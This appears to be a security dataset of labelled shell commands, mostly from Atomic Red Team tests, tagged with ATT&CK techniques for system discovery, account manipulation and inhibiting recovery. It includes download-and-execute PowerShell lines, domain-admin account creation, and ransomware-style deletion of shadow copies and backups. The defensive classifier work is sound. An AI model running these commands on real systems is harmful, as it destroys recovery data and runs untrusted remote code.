cowWhySo/permission-command-corpus huggingface dataset:
Command: cscript "#{vbscript}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Griffon Recon
Notes: This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre 
in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5).  
For more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](http
Command: csrutil status
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: macos
ATT&CK tags: T1082
Source rule: Show System Integrity Protection status (MacOS)
Notes: Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') winPEAS -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - winPEAS
Notes: Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') itm4nprivesc -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - itm4nprivesc
Notes: Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') oldchecks -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - Powersploits privesc checks
Notes: Powersploits privesc checks using oldchecks function of WinPwn
Command: rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - Powersploits privesc checks
Notes: Powersploits privesc checks using oldchecks function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') otherchecks -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - General privesc checks
Notes: General privesc checks using the otherchecks function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Generalrecon -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - GeneralRecon
Notes: Collect general computer informations via GeneralRecon function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Morerecon -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - Morerecon
Notes: Gathers local system information using the Morerecon function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') RBCD-Check -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - RBCD-Check
Notes: Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1') Invoke-watson
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - PowerSharpPack - Watson searching for missing windows patches
Notes: PowerSharpPack - Watson searching for missing windows patches  technique via function of WinPwn
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1') Invoke-SharpUp -command "audit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors
Notes: PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.
Command: $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1') Invoke-Seatbelt -Command "-group=all"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: WinPwn - PowerSharpPack - Seatbelt
Notes: PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
Command: Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-AzAccount -Credential $Credential Connect-AzureAD -Credential $Credential Scan-AzureAdmins -UseCurrentCred
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: azure-ad
ATT&CK tags: T1082
Source rule: Azure Security Scan with SkyArk
Notes: Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. 
Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. 
See https://github.com/cyberark/SkyArk
Command: $resultstime = Get-Date -Format "yyyyMMdd" $resultsfolder = ("Results-" + $resultstime) remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: azure-ad
ATT&CK tags: T1082
Source rule: Azure Security Scan with SkyArk
Notes: Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. 
Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. 
See https://github.com/cyberark/SkyArk
Command: lsmod kmod list grep vmw /proc/modules
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: linux
ATT&CK tags: T1082
Source rule: Linux List Kernel Modules
Notes: Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.
Command: kldstat kldstat | grep vmm
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: linux
ATT&CK tags: T1082
Source rule: FreeBSD List Kernel Modules
Notes: Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.
Command: wmic cpu get name wmic MEMPHYSICAL get MaxCapacity wmic baseboard get product wmic baseboard get version wmic bios get SMBIOSBIOSVersion wmic path win32_VideoController get name wmic path win32_VideoController get DriverVersion wmic path win32_VideoController get VideoModeDescription wmic OS get Caption,OSArchitecture,Version wmic DISKDRIVE get Caption Get-WmiObject win32_bios
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: System Information Discovery with WMIC
Notes: Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.
https://nwgat.ninja/getting-system-information-with-wmic-on-windows/
Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:
https://blog.sekoia.io/a
Command: wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: System Information Discovery
Notes: The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/
Command: reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Check computer location
Notes: Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
Command: reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: BIOS Information Discovery through Registry
Notes: Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments.  Upon execution, BIOS information will be displayed.
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
- https://evasions.checkpoint.com/techniques/registry.html
Command: echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: ESXi - VM Discovery using ESXCLI
Notes: An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
Command: sysctl -n hw.model
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: macos
ATT&CK tags: T1082
Source rule: sysctl to gather macOS hardware info
Notes: Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.
Command: Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: operating system discovery 
Notes: operating system discovery using get-ciminstance
https://petri.com/getting-operating-system-information-powershell/
Command: vssadmin.exe list shadows
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Display volume shadow copies with "vssadmin"
Notes: The command shows all available volume shadow copies, along with their creation time and location.
Command: powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Identify System Locale and Regional Settings with PowerShell
Notes: This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling 
the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.
Command: cmd.exe /c del "%TMP%\a.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Identify System Locale and Regional Settings with PowerShell
Notes: This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling 
the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.
Command: powershell.exe -c "gdr -PSProvider 'FileSystem'"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Enumerate Available Drives via gdr
Notes: This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations.
Command: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Discover OS Product Name via Registry
Notes: Identify the Operating System Product Name via registry with the reg.exe command.
Upon execution, the OS Product Name will be displayed.
Command: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1082
Platform: windows
ATT&CK tags: T1082
Source rule: Discover OS Build Number via Registry
Notes: Identify the Operating System Build Number via registry with the reg.exe command.
Upon execution, the OS Build Number will be displayed.
Command: $list = Get-LocalUser |?{$_.Description -like "atr:*"} foreach($u in $list) { $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)" Set-LocalUser -Name $u.Name -Description $Matches.Description Rename-LocalUser -Name $u.Name -NewName $Matches.Name Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: windows
ATT&CK tags: T1098
Source rule: Admin Account Manipulate
Notes: Manipulate Admin Account Name
Command: $x = Get-Random -Minimum 2 -Maximum 99 $y = Get-Random -Minimum 2 -Maximum 99 $z = Get-Random -Minimum 2 -Maximum 99 $w = Get-Random -Minimum 2 -Maximum 99 Import-Module ActiveDirectory $account = "#{account_prefix}-$x$y$z" New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args} Add-ADGroupMember "#{group}" $account
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: windows
ATT&CK tags: T1098
Source rule: Domain Account and Group Manipulate
Notes: Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). 

The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to 
create the user and alter the group. Automatic installation of the dependency requires an elevated session, 
and is unlikely to work with Powershell Core (untested).

If you c
Command: Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))" | Remove-ADUser -Confirm:$False
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: windows
ATT&CK tags: T1098
Source rule: Domain Account and Group Manipulate
Notes: Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). 

The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to 
create the user and alter the group. Automatic installation of the dependency requires an elevated session, 
and is unlikely to work with Powershell Core (untested).

If you c
Command: aws iam create-group --group-name #{username} aws iam add-user-to-group --user-name #{username} --group-name #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: iaas:aws
ATT&CK tags: T1098
Source rule: AWS - Create a group and add a user to that group
Notes: Adversaries create AWS group, add users to specific to that group to elevate their privileges to gain more accesss
Command: aws iam remove-user-from-group --user-name #{username} --group-name #{username} aws iam delete-group --group-name #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: iaas:aws
ATT&CK tags: T1098
Source rule: AWS - Create a group and add a user to that group
Notes: Adversaries create AWS group, add users to specific to that group to elevate their privileges to gain more accesss
Command: ntdsutil "set dsrm password" "sync from domain account #{sync_account}" "q" "q"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: windows
ATT&CK tags: T1098
Source rule: Password Change on Directory Service Restore Mode (DSRM) Account
Notes: Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account
Command: gcloud config set project #{project_id} KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1` gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: iaas:gcp
ATT&CK tags: T1098
Source rule: GCP - Delete Service Account Key
Notes: This Atomic will: 
  - Create a service account
  - Create a service account key, 
  - Store the result of retrieving a single key for that service account as a variable
  - Pass that variable for deletion
  - Delete the service account

The idea for this Atomic came from a Rule published by the Elastic team.

Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).
Each service account is associated with two sets of public/private RS
Command: cd "$PathToAtomicsFolder/T1098/src/T1098-17/" terraform state rm google_service_account_key.key terraform destroy -auto-approve
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098
Platform: iaas:gcp
ATT&CK tags: T1098
Source rule: GCP - Delete Service Account Key
Notes: This Atomic will: 
  - Create a service account
  - Create a service account key, 
  - Store the result of retrieving a single key for that service account as a variable
  - Pass that variable for deletion
  - Delete the service account

The idea for this Atomic came from a Rule published by the Elastic team.

Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).
Each service account is associated with two sets of public/private RS
Command: vssadmin.exe delete shadows /all /quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Delete Volume Shadow Copies
Notes: Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon
execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it
will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n
confirmation prompt. Shadow copies can only be created on Windows server or Windo
Command: wmic.exe shadowcopy delete
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Delete Volume Shadow Copies via WMI
Notes: Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
Command: wbadmin delete catalog -quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - wbadmin Delete Windows Backup Catalog
Notes: Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,
"The backup catalog has been successfully deleted." will be displayed in the PowerShell session.
Command: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Disable Windows Recovery Console Repair
Notes: Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
Upon execution, "The operation completed successfully." will be displayed in the powershell session.
Command: bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1 bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1490
Platform: windows
ATT&CK tags: T1490
Source rule: Windows - Disable Windows Recovery Console Repair
Notes: Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
Upon execution, "The operation completed successfully." will be displayed in the powershell session.